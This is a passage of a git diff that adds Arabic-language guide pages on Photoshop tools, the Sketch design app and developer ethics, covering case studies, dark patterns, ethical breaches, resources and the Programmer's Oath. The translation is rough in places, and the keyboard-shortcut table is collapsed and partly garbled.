+اللوحة هي مساحة العمل لمشروعك. يمكنك نقل عناصر حول اللوحة وتغيير حجم اللوحة القماشية. لن يكون أي شيء غير موجود على اللوحة قابلاً للعرض.
+
+#### أدوات
+
+![لوحة أدوات فوتوشوب](https://raw.githubusercontent.com/cecyc/textures/master/tools-palette.png)
+
+1.  أداة تحريك: حرك العناصر حول اللوحة.
+    
+2.  أداة Marquee: قم بتحديد وتحرير اختيار مستطيل أو دائري على طبقة.
+    
+3.  أداة Lasso: أداة اختيار حرة يمكنك استخدامها لرسم منطقة اختيار.
+    
+4.  أداة العصا السحرية: قم بالاختيار من لون معين في الصورة.
+    
+5.  أداة الاقتصاص: اقتصاص حجم اللوحة القماشية.
+    
+6.  أداة قطارة العين: حدد لونًا من صورة وقم بتحميله في لوحة الألوان.
+    
+7.  أداة فرشاة التوضيع: استنساخ منطقة من صورة ، ودمجها في جزء مختلف من الصورة. استخدامه لتنميق والمزج.
+    
+8.  أداة الفرشاة: رسم شكل حر.
+    
+9.  أداة ختم النسخ: نسخ ولصق وحدات بكسل معينة من صورة ما. استخدمه لتنقيح.
+    
+10.  فرشاة المحفوظات: تستعيد اللون والخصائص الأخرى إلى صورة تستند إلى التاريخ. استخدمه لتصحيح الأخطاء.
+    
+11.  أداة الممحاة: محو حر الشكل.
+    
+12.  أداة دلو الطلاء: املأ تحديدًا باستخدام اللون (لون المقدمة الافتراضي).
+    
+13.  أداة التمويه: عدم وضوح الصورة بشكل حر.
+    
+14.  أداة Dodge: لتفتيح قسم من الصورة.
+    
+15.  أداة القلم: تستخدم لرسم مسار أو إجراء تحديد دقيق بدقة.
+    
+16.  أداة الكتابة الأفقية: اكتب نصًا على خط أفقي (لون المقدمة الافتراضي).
+    
+17.  أداة تحديد المسار: حدد مسارًا مرسومًا.
+    
+18.  أداة الشكل المخصص: حدد من مجموعة متنوعة من إعدادات الشكل المسبقة للرسم على اللوحة القماشية.
+    
+19.  أداة اليد: تحرك حول القماش.
+    
+20.  أداة مكبرة: تكبير أو خارج اللوحة.
+    
+
+في الأسفل ، يمكنك ضبط ألوان المقدمة والخلفية. يمكنك تبديل ألوان المقدمة والخلفية بسرعة عن طريق الضغط على المفتاح `x` .
+
+#### طبقات
+
+يمكن الوصول إلى لوحة الطبقات من الجانب الأيمن من النافذة في قسم اللوحات.
+
+يتكون المشروع من طبقات متعددة. كل عنصر في المشروع هو طبقة خاصة به. الطبقات قابلة للتكديس.
+
+في المثال أدناه ، توجد طبقة "الدائرة" أعلى الطبقة "A" في لوحة الطبقات. هذا يعني أن الدائرة يتم تقديمها أعلى الحرف "A" على اللوحة.
+
+في كل مرة تريد فيها منع طبقة من التعديلات غير الرسمية ، يمكنك قفلها بتحديدها من نافذة الطبقات والضغط على زر القفل.
+
+يمكنك أيضًا إعطاء عنوان لكل طبقة. هذه ممارسة جيدة على وجه الخصوص عندما تعمل بتراكيب معقدة. ببساطة انقر مرتين على عنوان الطبقة في نافذة الطبقات لإعادة تسميته. وهو عبارة عن شريحة جيدة في استخدام المجلدات ، والتي يجب أن تقوم بها أيضًا للممارسات الجيدة في المشاريع الكبيرة.
+
+![لوحة الطبقات](https://raw.githubusercontent.com/cecyc/textures/master/layers.png)
+
+#### استيراد الخطوط
+
+يأتي ترخيص Photoshop Creative Cloud مع حساب [Typekit](https://typekit.com/) مجاني. Typekit هو مسبك الخط حيث يمكنك العثور على الخطوط للاستخدام الرقمي أو الطباعة.
+
+لإضافة خطوط من Typekit:
+
+1.  حدد أداة الكتابة الأفقية من لوحة الأدوات.
+2.  انقر فوق محدد الخط المنسدل في الزاوية العلوية اليسرى.
+3.  انقر فوق `add fonts from Typekit`
+
+![أضف الخطوط من Typekit](https://raw.githubusercontent.com/cecyc/textures/master/add-from-typekit.png)
+
+سيؤدي ذلك إلى فتح نافذة المتصفح والانتقال إلى موقع الويب الخاص بـ Typekit ، حيث يمكنك إضافة خطوط إلى حساب Photoshop Creative Cloud (تأكد من تسجيل الدخول باستخدام بيانات اعتماد حساب Adobe الخاص بك). بمجرد إضافتها إلى حسابك ، ستكون هذه الخطوط متاحة لك عند استخدام أداة الكتابة.
+
+#### تصدير الملفات
+
+انقر فوق `File` > `Export` .
+
+يمكنك بعد ذلك تحديد `Quick export to PNG` ، والذي يكون في معظم الحالات جيدًا لاستخدام الويب.
+
+إذا كنت بحاجة إلى تنسيق آخر ، فحدد `File` > `Export` > `Export as...` هناك ، يمكنك الاختيار من `PNG` أو `JPG` أو `GIF` .
+
+### اختصارات لوحة المفاتيح في Photoshop
+
+| أدوات اختصارات | ماك | الفوز | | -------------------------- | ------ | ------ | | أداة تحريك | V | V |  
+| أداة مستطيلة سرادق م | م |  
+| أداة المخططات البيضاوية م | م | | أداة لاسو لام | لام | | أداة مضلع لاسو | لام | لام | | أداة لاسو المغناطيسي | لام | لام | | أداة العصا السحرية | ث | ث | | أداة الاختيار السريع | ث | ث | | أداة المحاصيل | ج | ج | | أداة شريحة | ج | ج | | أداة تحديد الشريحة ج | ج | | أداة القطارة أنا | أنا | | أداة عينات الألوان أنا | أنا | | أداة الحاكم أنا | أنا | | أداة ملاحظة | أنا | أنا | | أداة العد | أنا | أنا | | بقعة أداة شفاء الفرشاة ي | ي | | أداة فرشاة الشفاء | ي | ي | | أداة التصحيح | ي | ي | | أداة العين الحمراء | ي | ي | | أداة الفرشاة | ب | ب | | أداة القلم الرصاص ب | ب | | أداة استبدال اللون | ب | ب | | أداة فرشاة الخلاط | ب | ب | | أداة استنساخ الطابع S | S | | أداة ختم نمط | S | S |
+
+### بدائل لفوتوشوب
+
+*   [Pixelmator](http://www.pixelmator.com/mac/) (في نظام Mac فقط)
+*   [GIMP](https://www.gimp.org/) (Mac و PC)
+
+### بدائل على الإنترنت لفوتوشوب
+
+*   [أو Pixlr](https://pixlr.com/)
+*   [Photopea](https://www.photopea.com/) (الأداة الوحيدة عبر الإنترنت لتحرير ملفات .psd)
+
+#### الحواشي
+
+1.  بينما يمكنك تصميم الشعارات في Photoshop ، اختار معظم المصممين استخدام Illustrator للشعارات ، حيث يقوم Illustrator بإنشاء صور متجهية يمكنها تسهيل تغيير حجم شعارات الاستخدامات المتعددة ، مثل الشعارات الصغيرة لبطاقات العمل ، أو الشعارات الكبيرة لإشارات البانر.
+2.  يمكنك إنشاء فرشك الخاصة في Photoshop ، باستخدام الخيار Brush Preset. يمكنك أيضا استيراد الفرش. هذا يسمح لك أن لا تحد نفسك لنفسك الافتراضي الفرش.
+3.  من الأسهل والأفضل استخدام Photoshop في حال كنت تقوم بعمل الأعمال الفنية باستخدام أقراص الرسومات ، لأن لديك خيارات متعددة للفرش ، وهو أمر غير موجود في Illustrator.
+
+#### معلومات اكثر:
+
+*   [الموقع الرسمي](https://www.adobe.com/products/photoshop.html)
+*   [النقطية مقابل ناقلات الرسومات](https://www.psprint.com/resources/difference-between-raster-vector/)
+*   [تعلم ودعم](https://helpx.adobe.com/support/photoshop.html?promoid=5NHJ8FD2&mv=other)
+
+البدائل: Gimp (متوفر على نظام Linux ومجاني)
\ No newline at end of file
diff --git a/client/src/guide/arabic/designer-tools/sketch/index.md b/client/src/guide/arabic/designer-tools/sketch/index.md
new file mode 100644
index 0000000000..959e04fd5c
--- /dev/null
+++ b/client/src/guide/arabic/designer-tools/sketch/index.md
@@ -0,0 +1,36 @@
+---
+title: Sketch
+localeTitle: رسم
+---
+## رسم
+
+Sketch هو تطبيق تصميم احترافي لنظام Mac الذي يستخدم سير عمل يستند إلى متجه. الواجهة نظيفة وجذابة للمستخدمين الجدد بالإضافة إلى كونها أداة مألوفة لمستخدمي Adobe Fireworks. أصبح Sketch أداة بديلة شائعة لفوتوشوب للمستخدمين الذين لا يحتاجون إلى وفرة من الخيارات لتصاميم الواجهة.
+
+### لماذا رسم؟
+
+*   بسهولة إعادة استخدام العناصر
+*   النماذج
+*   التعاون مع الآخرين
+*   الكثير من الإضافات
+*   تصدير الملفات بتنسيقات متعددة مثل png ، svg إلخ. حتى 2x إصدارات شبكية تعرض بسهولة
+*   مجتمع واسع
+*   بسهولة نسخ سمات CSS من عناصر التصميم
+*   دليل أسلوب التصدير في سهولة قراءة HTML / CSS
+
+### لماذا يجب علي التبديل للرسم؟
+
+تم تصميم Sketch لإنشاء منتجات رقمية بدلاً من تحرير الصور وطباعة الرسومات. تساعد واجهة Sketch النظيفة على إبقائك منظمًا عندما تستهزئ بتصميمات UI / UX أو تبنيها. لوحات الفن التي تستخدم Sketch يفرض شبكة بكسل للتصاميم الدقيقة. تصدير التصاميم بسيطة ويدعم مختلف أجهزة القرار.
+
+### المكونات الإضافية المفيدة للرسم
+
+*   [Zeplin - يولد ويصدر أصول التصميم وأدلة الأسلوب](https://zeplin.io/)
+*   [Sketch IconFont - يساعدك على إدراج وإدارة الرموز بسهولة من خطوط الرموز](https://github.com/keremciu/sketch-iconfont)
+*   [Mirr.io - معاينة النماذج الأولية في أي متصفح في أي جهاز من Sketch](https://mirr.io/)
+
+#### معلومات اكثر:
+
+*   [رسم](https://www.sketchapp.com)
+*   [وثائق رسم](https://www.sketchapp.com/docs/)
+*   [تعلم Sketch](http://learnsketch.com/tutorials)
+*   [مصادر التطبيق كروكي](https://www.sketchappsources.com/)
+*   [YouTube - دورة تدريبية حول تعطل الرسم التخطيطي](https://www.youtube.com/playlist?list=PLWlUJU11tp4fEXI8deWhBQAHDv9R23WHB)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-ethics/case-studies/index.md b/client/src/guide/arabic/developer-ethics/case-studies/index.md
new file mode 100644
index 0000000000..e67abc1b15
--- /dev/null
+++ b/client/src/guide/arabic/developer-ethics/case-studies/index.md
@@ -0,0 +1,30 @@
+---
+title: Case Studies
+localeTitle: دراسات الحالة
+---
+## دراسات الحالة
+
+نشر معهد بحوث أخلاقيات هندسة البرمجيات بقسم علوم الحاسب والمعلومات في جامعة إيست تينسي ستيت سلسلة من دراسات الحالة للمساعدة في توعية ممارسي مطوري البرمجيات والطلاب بالعديد من أنواع المعضلات الأخلاقية التي قد يواجهونها. [المعيار الدولي للبرمجيات الاحترافية تشكل التنمية والمسؤولية الأخلاقية](http://seeri.etsu.edu/TheSECode.htm) أساس الكثير من التحليل في كل حالة.
+
+حالات:
+
+*   [**برنامج Big Brother Spyware**](http://seeri.etsu.edu/SECodeCases/ethicsC/BigBrother.htm) - يرفع قضايا التوتر بين الخصوصية والأمان والصفير في بيئة ما بعد 11 سبتمبر.
+    
+*   [**سجلات المرضى المحوسبة**](http://seeri.etsu.edu/SECodeCases/ethicsC/Computerized%20Patient%20Records.htm) - تستخدم الحالة سجلات المرضى لفحص مسؤولية المطور عن أمن المعلومات. يقوم بتقييم سلسلة من البدائل.
+    
+*   [**Death By Wire**](http://seeri.etsu.edu/SECodeCases/ethicsC/DeathByWire.htm) - تعالج الحالة القضايا التي تنشأ من انتقال السيطرة من الأنظمة القائمة ميكانيكيا إلى أنظمة إلكترونية / حاسوبية بحتة. يستكشف الحالة التي تم فيها تمديد هذه العملية إلى المركبات الثقيلة. كما أنه ينظر إلى ما يحدث عندما يتم تشغيل التحكم في معدات السلامة الحرجة إلى جهاز كمبيوتر.
+    
+*   [**المحفظات الرقمية وإطلاق الصافرات**](http://seeri.etsu.edu/SECodeCases/ethicsC/DigitalWallets.htm) - يعتمد هذا على حالة حقيقية تنطوي على الأمان ويتضمن تحليلاً للقرار المتصل بموعد وضربة صفارة الإنذار.
+    
+*   [**للبنات فقط**](http://seeri.etsu.edu/SECodeCases/ethicsC/ForGirlsOnly.htm) - تنظر هذه الحالة في حالة حقيقية من التحيز ضد المرأة في تطوير البرمجيات.
+    
+*   [**تقنية النانو: ابتلاع تلك الشريحة**](http://seeri.etsu.edu/SECodeCases/ethicsC/NanoTechnology.htm) - تستخدم هذه الحالة سيارة تكنولوجيا النانو لاستكشاف طرق لمعالجة قضايا الخصوصية والأمان التي تواجه مطوري البرمجيات ...
+    
+*   [**حالة صواريخ باتريوت**](http://seeri.etsu.edu/SECodeCases/ethicsC/PatriotMissile.htm) - هذه القطعة تدرس أهمية إدارة التكوين والتصميم الفعال من حيث صلتها بكارثة صواريخ باتريوت.
+    
+*   [**Therac-25**](http://users.csc.calpoly.edu/~jdalbey/SWE/Papers/THERAC25.html) - تسلط هذه الحالة الضوء على خطر الضوابط القائمة على البرمجيات على الأنظمة التي تهدد الحياة.
+    
+
+#### معلومات اكثر
+
+تتوفر معلومات إضافية من خلال [معهد أبحاث أخلاقيات هندسة البرمجيات](http://seeri.etsu.edu)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-ethics/dark-patterns/index.md b/client/src/guide/arabic/developer-ethics/dark-patterns/index.md
new file mode 100644
index 0000000000..075fe23609
--- /dev/null
+++ b/client/src/guide/arabic/developer-ethics/dark-patterns/index.md
@@ -0,0 +1,34 @@
+---
+title: Dark Patterns
+localeTitle: أنماط الظلام
+---
+## أنماط الظلام
+
+الأنماط المظلمة هي أنماط شائعة تستخدم لخداع مستخدمي موقع الويب أو تطبيق الويب.
+
+الامثله تشمل:
+
+*   [**الطعم والتبديل**](https://darkpatterns.org/types-of-dark-pattern/bait-and-switch) - يقوم المستخدم بعمل شيء واحد ، ولكن يحدث شيء مختلف غير مرغوب فيه.
+    
+*   [**الإعلانات المقنعة**](https://darkpatterns.org/types-of-dark-pattern/disguised-ads) - إعلانات متخفية في شكل أنواع أخرى من المحتوى أو التنقل ، من أجل جعل المستخدمين ينقرون عليها.
+    
+*   [**الاستمرارية القسرية**](https://darkpatterns.org/types-of-dark-pattern/forced-continuity) - شحن بطاقتك الائتمانية للمستخدم بدون تحذير في نهاية فترة التجربة المجانية.
+    
+*   [**Friend Spam**](https://darkpatterns.org/types-of-dark-pattern/friend-spam) - يطلب موقع ويب أو تطبيق الحصول على بريد إلكتروني للمستخدم أو أذونات الشبكات الاجتماعية تحت التظاهر بأنه سيتم استخدامه للحصول على نتيجة مرغوبة (مثل العثور على أصدقاء) ، ولكن بعد ذلك يزعج جميع جهات اتصال المستخدم في رسالة تدعي أنها من ذلك المستخدم .
+    
+*   [**التكاليف المخفية**](https://darkpatterns.org/types-of-dark-pattern/hidden-costs) - في الخطوة الأخيرة من عملية الدفع ، تظهر فقط بعض الرسوم غير المتوقعة ، مثل رسوم التوصيل والضرائب وغير ذلك لم يتم الكشف عنها قبل معالجة دفع المستخدم.
+    
+*   [**Misdirection**](https://darkpatterns.org/types-of-dark-pattern/misdirection) - يركز التصميم بشكل هادف انتباه المستخدمين على شيء واحد حتى يصرف انتباههم عن شيء آخر.
+    
+*   [**منع مقارنة الأسعار**](https://darkpatterns.org/types-of-dark-pattern/price-comparison-prevention) - يجعل بائع التجزئة عبر الإنترنت من الصعب على الزائر مقارنة سعر السلعة بعنصر آخر ، بحيث لا يمكن اتخاذ قرار مستنير.
+    
+*   [**الخصوصية الزوكرينج**](https://darkpatterns.org/types-of-dark-pattern/privacy-zuckering) - يتم خداع المستخدمين للمشاركة علانية بمزيد من المعلومات عن أنفسهم أكثر مما يعتزمون فعلاً. سميت باسم الرئيس التنفيذي لشركة Facebook Mark Zuckerberg.
+    
+*   [**Roach Motel**](https://darkpatterns.org/types-of-dark-pattern/roach-motel) - يجعل التصميم من السهل جدًا على المستخدمين الدخول في موقف معين ، ولكن يجعل من الصعب عليهم الخروج منه (مثل الاشتراك).
+    
+*   [**Sneak Into Basket**](https://darkpatterns.org/types-of-dark-pattern/sneak-into-basket) - يحاول المستخدم شراء شيء ما ، ولكن في مكان ما في رحلة الشراء ، يتسلل الموقع إلى عنصر إضافي في السلة ، وغالبًا ما يتم ذلك من خلال استخدام زر اختيار إلغاء الاشتراك أو خانة الاختيار في صفحة سابقة.
+    
+*   [**أسئلة خدعة**](https://darkpatterns.org/types-of-dark-pattern/trick-questions) - يتم إعداد المستخدمين للرد على سؤال ، عندما يظهر على الشاشة بسرعة ما يسأل شيئًا واحدًا ، ولكن إذا قرأ بعناية ، يطلب أمرًا آخر تمامًا.
+    
+
+يتم وضع كتالوج للأنماط المظلمة مع قائمة محدثة باستمرار من أمثلة العالم الحقيقي في [darkpatterns.org](https://darkpatterns.org) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-ethics/ethical-breaches/index.md b/client/src/guide/arabic/developer-ethics/ethical-breaches/index.md
new file mode 100644
index 0000000000..2830519d10
--- /dev/null
+++ b/client/src/guide/arabic/developer-ethics/ethical-breaches/index.md
@@ -0,0 +1,23 @@
+---
+title: Ethical Breaches
+localeTitle: انتهاكات أخلاقية
+---
+## انتهاكات أخلاقية
+
+كان هناك عدد من الحالات التي تم نشرها بشكل جيد حيث تم استخدام البرامج لخداع المستخدمين أو حتى خرق القانون. في قلب هذه الحالات هو خرق الأخلاق من جانب واحد أو أكثر من المطورين. مثل هذه الحالات تشمل:
+
+*   [**Uber Greyball**](http://www.businessinsider.com/uber-greyball-app-vtos-authorities-2017-3?op=1) - أداة أنشأتها شركة Uber المشاركة في الرحلة والتي جمعت بيانات من تطبيق Uber للتعرف على المسؤولين في مدن متعددة والتهرب منهم.
+    
+*   [**فضيحة انبعاثات فولكسواغون**](https://en.wikipedia.org/wiki/Volkswagen_emissions_scandal) - فولكس واجن مبرمجة عن قصد محركات الديزل ذات الحقن المباشر التوربيني (TDI) لتنشيط بعض ضوابط الانبعاثات فقط أثناء اختبار الانبعاثات المختبرية. تسببت البرمجة في إخراج أكسيد النيتروجين الخاص بالمركبات لتلبية المعايير الأمريكية خلال الاختبارات التنظيمية ، ولكنها تصدر ما يصل إلى 40 ضعفًا من أكسيد النيتروجين في القيادة في العالم الحقيقي.
+    
+*   [**انتهكت شركة Zenefits Insurance Violations**](http://www.techwire.net/news/zenefits-fined-7-million-for-california-insurance-violations.html) - الرئيس التنفيذي السابق لشركة Zenefits ، باركر كونراد ، من تمديد المتصفح الذي سمح لوسطاءها بالتزوير بأنهم أتموا دورة تدريبية عبر الإنترنت مدتها 52 ساعة يجب أن يأخذها وكلاء التأمين ليصبحوا مرخصين في كاليفورنيا.
+    
+
+\-
+
+#### معلومات اكثر
+
+*   [ما هو الشيء المشترك بين Uber و Volkswagen و Zenefits؟ انهم جميعا يستخدمون رمز خفي لكسر القانون.](https://medium.freecodecamp.org/dark-genius-how-programmers-at-uber-volkswagen-and-zenefits-helped-their-employers-break-the-law-b7a7939c6591)
+*   [10+ أشياء يمكنك القيام بها لتجنب الانتهاكات الأخلاقية](http://www.techrepublic.com/blog/10-things/10-plus-things-you-can-do-to-avoid-ethical-breaches/)
+*   [يقوم المبرمجون بإجراء مناقشة ضخمة حول الأشياء غير الأخلاقية وغير القانونية التي طُلب منهم القيام بها](http://uk.businessinsider.com/programmers-confess-unethical-illegal-tasks-asked-of-them-2016-11?op=1)
+*   [يواجه فيس بوك انتقادات وسط مزاعم بأنه انتهك المبادئ التوجيهية الأخلاقية مع الدراسة](https://www.theguardian.com/technology/2014/jun/30/facebook-internet)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-ethics/index.md b/client/src/guide/arabic/developer-ethics/index.md
new file mode 100644
index 0000000000..b671f9cb49
--- /dev/null
+++ b/client/src/guide/arabic/developer-ethics/index.md
@@ -0,0 +1,44 @@
+---
+title: Developer Ethics
+localeTitle: أخلاقيات المطورين
+---
+## أخلاقيات المطورين
+
+يصف أخلاقيات مطوري البرامج مجال الأخلاقيات عند تطبيقه على سلوك مطوري البرامج.
+
+ووفقًا [لمجلة الإنترنت الموسوعة للفلسفة](http://www.iep.utm.edu/ethics/) ، فإن مجال الأخلاقيات (أو الفلسفة الأخلاقية) ينطوي على "التنظيم ، والدفاع ، والتوصية بمفاهيم الصواب والخطأ".
+
+على مر السنين ، حاول عدد من المنظمات والأفراد تدوين أخلاقيات المطورين في مجموعة متنوعة من التعهدات والوعود ومدونات السلوك.
+
+الامثله تشمل:
+
+*   [**المعيار الدولي لتطوير البرمجيات المهنية والمسؤولية الأخلاقية من**](http://seeri.etsu.edu/TheSECode.htm) قبل فرقة العمل المشتركة IEEE-CS / ACM المعنية بأخلاقيات وممارسات هندسة البرمجيات
+    
+*   [**الوصايا العشر لأخلاقيات الكمبيوتر من**](http://computerethicsinstitute.org/publications/tencommandments.html) قبل معهد أخلاقيات الكمبيوتر
+    
+*   [**تعهد محترف الحوسبة**](http://pledge-of-the-computing-professional.org/home-page/the-oath)
+    
+*   [**تعهد**](https://medium.com/@BillSourour/the-trustworthy-coders-pledge-aa5ba046c5aa) المدقق الجدير [**بالثقة**](https://medium.com/@BillSourour/the-trustworthy-coders-pledge-aa5ba046c5aa) من بيل سرور
+    
+*   [**قسم المبرمج من**](https://www.youtube.com/watch?v=36NgPu9OyRM&list=PLWKjhJtqVAbno-B4RmJHCDO0ZUKC2tpUQ) قبل "العم بوب" مارتن
+    
+*   [**تعهد "لن يتكرر أبدًا"**](http://neveragain.tech)
+    
+*   [**ACM مدونة الأخلاق**](http://www.acm.org/about-acm/acm-code-of-ethics-and-professional-conduct)
+    
+
+تتضمن الموضوعات الشائعة التي تظهر في جميع هذه الأمثلة الالتزام بالصدق والنزاهة والإنصاف.
+
+حتى الآن ، بما أن معظم مطوري البرامج لا ينتمون - ولا يحكمهم - أي أمر رسمي أو نقابة أو جمعية أو مجتمع ، لم يتم تبني معيار أخلاقي مقنن على نطاق واسع.
+
+\-
+
+#### معلومات اكثر:
+
+*   إدخال [أخلاقيات الكمبيوتر والمعلومات](https://plato.stanford.edu/archives/win2014/entries/ethics-computer/) في موسوعة ستانفورد للفلسفة.
+    
+*   دخول [أخلاقيات الكمبيوتر](https://en.wikipedia.org/wiki/Computer_ethics) في WikiPedia
+    
+*   [CSE 302 - أخلاقيات المهنة لعلوم الكمبيوتر](http://www3.cs.stonybrook.edu/~mueller/teaching/cse302/) - الخطوط العريضة والمواد الدراسية لدورة معينة في قسم علوم الكمبيوتر في كلية الهندسة والعلوم التطبيقية بجامعة ستوني بروك.
+    
+*   [تاريخ قصير جداً لأخلاقيات الكمبيوتر](https://web.archive.org/web/20080418122849/http://www.southernct.edu/organizations/rccs/resources/research/introduction/bynum_shrt_hist.html) - مقالة من العدد الصادر في الصيف 2000 من النشرة الإخبارية للجمعية الفلسفية الأمريكية حول الفلسفة والحوسبة
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-ethics/resources/index.md b/client/src/guide/arabic/developer-ethics/resources/index.md
new file mode 100644
index 0000000000..5aa90dab3e
--- /dev/null
+++ b/client/src/guide/arabic/developer-ethics/resources/index.md
@@ -0,0 +1,31 @@
+---
+title: Resources
+localeTitle: مصادر
+---
+أين تذهب إذا كان لديك سؤال أخلاقي كمطور؟ هذه الصفحة عبارة عن قائمة بالموارد التي يمكنك استخدامها للمساعدة في موقف مليء بالتحديات.
+
+1.  اتحادات أعضاء المطور
+
+وتوجد جمعيات أعضاء لتعزيز نزاهة مهن محددة. في كثير من الأحيان ، واحدة من جمعيات الخدمات المقدمة في مجال الأخلاقيات.
+
+إحدى هذه الجمعيات هي [رابطة آلات الحوسبة](http://www.acm.org/about-acm/code-of-ethics) . ويوفر [مدونة الأخلاق](http://ethics.acm.org/code-of-ethics) التي يمكنك الرجوع إليها. كما أنها توفر موارد مستمرة في مجال الأخلاقيات للمطورين.
+
+مصدر آخر هو الرابطة الدولية لمطوري الألعاب ، والتي لديها أيضًا [مدونة أخلاقية](https://www.igda.org/?page=codeofethics) .
+
+2.  كن على دراية بما يحدث في عالم التطوير
+
+إن قراءة التحديات الأخلاقية في عالم التنمية سوف يساعدك على تنمية حسك الخاص "ماذا أفعل" قبل ظهور الحاجة.
+
+كن على دراية وتفكر في ما ستفعله إذا واجهتك وضعاً مماثلاً. مارس ردك في موقف مليء بالتحديات. مقالة واحدة يمكن أن تساعد في إبداء رأيك [هل يجب على مطوري البرمجيات أن يكون لديهم مدونة أخلاقيات](https://www.cio.com/article/3156565/developer/should-software-developers-have-a-code-of-ethics.html) من cio.com.
+
+3.  ابدأ المحادثات مع نظرائك الآن.
+
+تتأثر الأخلاقيات إلى حد كبير بثقافة المكتب ، لذا يجب أن تكون مثالًا يحتذى به. كن ذلك الشخص في مؤسستك الذي يتحدث عن الأخلاق بصراحة ، ويدافع عن ثقافة أكثر أخلاقية كلما أمكن ذلك. Pyschology اليوم لديه نصائح حول [بناء ثقافة أخلاقية](https://www.psychologytoday.com/blog/do-the-right-thing/201507/six-ways-create-culture-ethics-in-any-organization) .
+
+4.  لا تستسلم
+
+يمكن أن يكون من السهل أن نشعر بالفزع عندما يحدث خرق أخلاقي جديد - لكن لا تفعل. إن خلق مستقبل أخلاقي للمطورين سيستغرق منا جميعًا.
+
+5.  اعرف "لماذا"
+
+فكر في مستخدميك. فكر في مجتمعك. فكر في عائلتك. قبل أن تكون في موقف مليء بالتحديات ، تعرف لماذا ستفعل الشيء الصحيح.
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-ethics/the-programmers-oath/index.md b/client/src/guide/arabic/developer-ethics/the-programmers-oath/index.md
new file mode 100644
index 0000000000..708cab1a1a
--- /dev/null
+++ b/client/src/guide/arabic/developer-ethics/the-programmers-oath/index.md
@@ -0,0 +1,109 @@
+---
+title: The Programmers Oath
+localeTitle: قسم المبرمجين
+---
+## قسم المبرمجين
+
+إن Programmers Oath عبارة عن قسم تم إنشاؤه بواسطة Robert C. Martin ، مما يسلط الضوء على الإرشادات الخاصة بشبكة أفضل. يقسم اليمين على النحو التالي:
+
+> من أجل الدفاع عن شرف مهنة مبرمجي الكمبيوتر والمحافظة عليه ، أعدك بأقصى ما في قدرتي وحكمتي:
+> 
+> 1.  لن أخرج الكود الضار.
+> 2.  دائمًا ما يكون الرمز الذي أقوم بإنتاجه هو أفضل عمل. لن أسمح عن علم برمز معيب سواء في السلوك أو البنية يتراكم.
+> 3.  سوف أقوم ، مع كل إصدار ، بإصدار دليل سريع ومؤكد وقابل للتكرار على أن كل عنصر من عناصر الرمز يعمل كما ينبغي.
+> 4.  سأقوم بإصدار إصدارات متكررة وصغيرة لكي لا أعرقل تقدم الآخرين.
+> 5.  سوف أحاول بلا خوف وبلا هوادة تحسين إبداعاتي في كل فرصة. لن أتحلل أبدًا.
+> 6.  سأفعل كل ما بوسعي للحفاظ على إنتاجية نفسي ، والآخرين ، على أعلى مستوى ممكن. لن أفعل أي شيء يقلل من هذه الإنتاجية.
+> 7.  سوف أضمن بشكل مستمر أن الآخرين يمكنهم تغطية لي ، وأنه يمكنني تغطية لهم.
+> 8.  سوف أخرج تقديرات صادقة من حيث الحجم والدقة. لن أقدم الوعود دون يقين.
+> 9.  لن أتوقف أبداً عن التعلم وتحسين مهاراتي.
+
+[سلسلة الويب على قناة freeCodeCamp تقسم](https://www.youtube.com/watch?v=36NgPu9OyRM) ما يعنيه القسم ، وكيفية اتباع القسم.
+
+### وعد 1
+
+> 1.  لن أخرج الكود الضار.
+
+#### ما هو كود ضار؟
+
+الشفرة الضارة هي شفرة ضارة بالزبائن أو زملائهم المبرمجين أو بنية النظام. الضرر يأتي في العديد من الأشكال المختلفة. **إنك** كمبرمج محترف لن نعد بإصدار شفرة ضارة ، مهما كان هذا الضرر يعني في حكمك ، وفي حكم زملائك.
+
+### وعد 2
+
+> 2.  دائمًا ما يكون الرمز الذي أقوم بإنتاجه هو أفضل عمل. لن أسمح عن علم برمز معيب سواء في السلوك أو البنية يتراكم.
+
+باعتبارك مبرمجًا ، فأنت تريد أن تؤمن بعمل أفضل ما لديك ، وأنك لا تريد أبدًا أن تكون في وضع لا يعد فيه الرمز الذي تنشره أفضل أعمالك.
+
+لا ترغب في السماح بتراكم الرموز التالفة في نظامك. قد لا تتمكن من منعه من الدخول إلى نظامك (على سبيل المثال ، حالة الطوارئ) ، ولكنك لن تسمح له بالتنقل حتى يتراكم.
+
+لاحظ أنه في الوعد ، هناك جانب من جوانب "السلوك" و "البنية" في القسم. من **الواضح** أن شيئًا معيباً في السلوك هو **مشكلة ،** لكن تشويه التعليمات البرمجية في الهيكل سيؤدي إلى خفض إنتاجية أعضاء فريقك ، إلى أن تتمكن من إنجاز أي شيء بالكاد.
+
+### وعد 3
+
+> 3.  سوف أقوم ، مع كل إصدار ، بإصدار دليل سريع ومؤكد وقابل للتكرار على أن كل عنصر من عناصر الرمز يعمل كما ينبغي.
+
+يتوقع العملاء والمستخدمون وحتى أصحاب الأعمال أننا سنكون قادرين على أن نثبت أن كودنا يعمل كما هو مفترض. لاحظ أنه في القسم هناك كلمات مثل سريعة ، مؤكدة ، وقابلة للتكرار. أنت تريد أن تكون قادرًا على إثبات ملاحظة دقيقة أن الشفرة لا تزال تعمل كما هو مفترض.
+
+إذا أضفت ميزة جديدة ، فهذا لا يكسر أي شيء أقدم ، أو يصلح بنية جديدة لا تكسر أي شيء اعتاد أن يكون هناك ، وتريد أن تكون قادرًا على إظهار ذلك بسرعة وسهولة ، وأن الرمز لا يزال يفعل ما انها تهدف الى القيام به.
+
+### وعد 4
+
+> 4.  سأقوم بإصدار إصدارات متكررة وصغيرة لكي لا أعرقل تقدم الآخرين.
+
+الطريقة البسيطة لقول هذا ، هي عدم التحقق من شيء ما ، والتحقق من شيء ما لمدة **شهر** . وهناك طريقة أكثر ثراء للقول هذا ، هو أن أقول أن كل ما تفعله في الرمز ، يجب عليك القيام به في خطوات صغيرة. إذا كان ما تفعله حاليًا يمنع شخصًا آخر حاليًا ، فلن يتمكن من حظره لفترة طويلة جدًا **لأنك** تقوم بذلك في خطوات صغيرة.
+
+ميزة في العمل في خطوات صغيرة هائلة. تأكد من أنه عندما تفعل أشياء في ارتكاب ، فإنك تلتزم كل ساعة. عندما تقوم بتسجيل الوصول ، قم بتسجيل الوصول بشكل متكرر. عندما تقوم بدمج ، فإنك تقوم بدمج بشكل متكرر.
+
+### وعد 5
+
